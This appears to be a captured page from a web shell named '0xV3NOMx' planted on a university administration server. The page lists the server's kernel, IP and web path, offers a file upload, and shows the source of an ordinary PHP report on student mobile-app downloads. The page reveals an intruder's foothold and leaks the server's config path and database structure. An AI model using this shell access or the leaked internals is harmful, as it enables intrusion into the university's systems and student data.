0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.14.254.103


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/appdownlaodsum.php

<?php
//lib16107 lib16103

ini_set('display_errors', 'on');
ini_set('memory_limit','900M');
ini_set('max_execution_time',0);


include("/var/www/config.php");
	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;


/*$servername = "localhost";
$username   = "root";
$password  = "";*/
//$admdb = "logisys3_bcu";


$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}



$query = "select funivcode,count(distinct fmobileno)  as count,
SUM(if(ifnull(fappmobid,'') <> '',1,0)) as cnt,
(count(distinct fmobileno) - SUM(if(ifnull(fappmobid,'') <> '',1,0))) as pending
from logisys3_comexam.masuser 
where funivcode in('041','042','023')
group by funivcode";
$result = mysqli_query($conn,$query);
$count = mysqli_num_rows($result);

if($count >0)
{
	
	
	$table = '<center><h2>'.$funivname.'</h2>
	<h2>Mobile App Download Status as on '.date("d/m/Y").'</h2>';
	echo  $table;	
	
	$table = '
		<style>
			table{
			width:90%;
			table-layout: fixed;
			}
		</style>	
		<table style="text-align: left;width: 80%;"  border="1" cellpadding="10" cellspacing="0">
			<thead style = "">
				<tr style = "background-color:#8acc51">
					<th width="5%" align="center"><b>Sl. No.</b></th>
					<th   align="center"><b>University Name</b></th>
					<th  width="10%" align="center"><b>Total Students</b></th>
					<th width="10%" align="center"><b>Downloads</b></th>
					<th width="10%" align="center"><b>Pending</b></th>
				</tr>
			</thead>
		
		<tbody >';	
	
    $i = 1;
    $totsum = 0;
    $totdown = 0;
    $totpending = 0;
	while($row = mysqli_fetch_assoc($result))
	{
        if($row['funivcode'] == '041')
            $funivname = 'BENGALURU CENTRAL UNIVERSITY';
        else if($row['funivcode'] == '042')
            $funivname = 'BENGALURU NORTH UNIVERSITY';
        else if($row['funivcode'] == '023')
            $funivname = 'DAVANGERE UNIVERSITY';
        else
            $funivname = $row['funivcode'];    

		$table .= '<tr><td  align="center">'.$i.'</td>
			<td  align="left">'.$funivname.'</td>
			<td  align="center">'.$row['count'].'</td>
			<td align="center">'.$row['cnt'].'</td>					
			<td  align="center">'.$row['pending'].'</td>
		</tr>';
        $i++;
        $totsum+=$row['count'];
        $totdown+=$row['cnt'];
        $totpending+=$row['pending'];
    }
    $table .= '<tr><td  align="center"></td>
			<td   align="center"><b>Total</b></td>
			<td  align="center"><b>'.$totsum.'</b></td>
			<td align="center"><b>'.$totdown.'</b></td>					
			<td  align="center"><b>'.$totpending.'</b></td>
		</tr>';
	echo $table;
		/*$fcollcode = $row['fcollcode'];
		$fcollname = $row['fcollname'];
		$fmobile = $row['fmobile'];
		$fphone  = $row['fphone'];
		$femail = $row['femail'];
		$cc = "bcureply@gmail.com";
		$fcount = $row['fcount'];
		$factive = $row['factive'];
		$ffinsubdone =  $row['ffinsubdone'];
		$fadmpend = $row['fadmpend'];
		$fackdone = $row['fackdone'];
		$fackpend = $row['fackpend'];
		$fapprdone = $row['fapprdone'];
		$fapprpend = $row['fapprpend'];
		
		$ltr='<tr>';
		if($fcount > 0)
		{
		
			if($fapprdone > 0)
			{
				$ltr='<tr style = "background-color:#c1f28a">';
				$apprready++;
			}

		}
		else
		{
			$ltr='<tr style = "background-color:#f4a442">';
			$nodata++;
		}
		
		$table = ''.$ltr.'
			<td width="5%" align="center">'.$y.'</td>
			<td  width="5%" align="center">'.$fcollcode.'</td>
			<td width="30%" align="left">'.$fcollname.'</td>
			<td width="8%" align="center">'.$fmobile.' /'.$fphone.'</td>					
			<td  align="center">'.$fcount.'</td>
			<td  align="center">'.$factive.'</td>
			<td  align="center">'.$ffinsubdone.'</td>
			<td align="center">'.$fadmpend.'</td>
			<td  align="center">'.$fackdone.'</td>
			<td align="center">'.$fackpend.'</td>
			<td  align="center">'.$fapprdone.'</td>
			<td align="center">'.$fapprpend.'</td>
		</tr>';
		echo $table;
		
		$y++;
		$c1=$c1+$fcount;
		$c2=$c2+$factive;
		$c3=$c3+$ffinsubdone;
		$c4=$c4+$fadmpend;
		$c5=$c5+$fackdone;
		$c6=$c6+$fackpend;
		$c7=$c7+$fapprdone;
		$c8=$c8+$fapprpend;
		
	}		
	$ltr='<tr style = "background-color:#8acc51">';
	$table = ''.$ltr.'
		<td width="5%" align="center"></td>
		<td  width="5%" align="center"></td>
		<td width="30%" align="left"><b>Total</b></td>
		<td width="8%" align="center"></td>					
		<td  align="center"><b>'.$c1.'</b></td>
		<td  align="center"><b>'.$c2.'</b></td>
		<td  align="center"><b>'.$c3.'</b></td>
		<td align="center"><b>'.$c4.'</b></td>
		<td  align="center"><b>'.$c5.'</b></td>
		<td align="center"><b>'.$c6.'</b></td>
		<td  align="center"><b>'.$c7.'</b></td>
		<td align="center"><b>'.$c8.'</b></td>
	</tr>';
	echo $table;
	$y--;
	$ltr='</table><br><table style="text-align: left;width: 25%;"  border="1" cellpadding="10" cellspacing="0"><tr>';
	$table = ''.$ltr.'
		<td width="40%" align="left"><b>Total colleges</b></td>
		<td  width="10%" align="center"><b>'.$y.'</b></td>
	</tr>';
	echo $table;
	
	$table = '
		<td width="40%" align="left"><b>Approval Done</b></td>
		<td  width="10%" align="center"><b>'.$apprready.'</b></td>
	</tr>';
	echo $table;
	
	$inprogress = intval($y)-(intval($nodata) + intval($apprready));
	
	$table = '
		<td width="40%" align="left"><b>Admission in progress</b></td>
		<td  width="10%" align="center"><b>'.$inprogress.'</b></td>
	</tr>';
	echo $table;
	
	$table = '
		<td width="40%" align="left"><b>Data not sent colleges</b></td>
		<td  width="10%" align="center"><b>'.$nodata.'</b></td>
	</tr>';
	echo $table;	*/
	
	/*
	degree | exam | college | tolat fee | coll downl | st dowm | total | penden 

	degree | exam | tolat fee | coll downl | st dowm | total | penden 
	*/
}


?>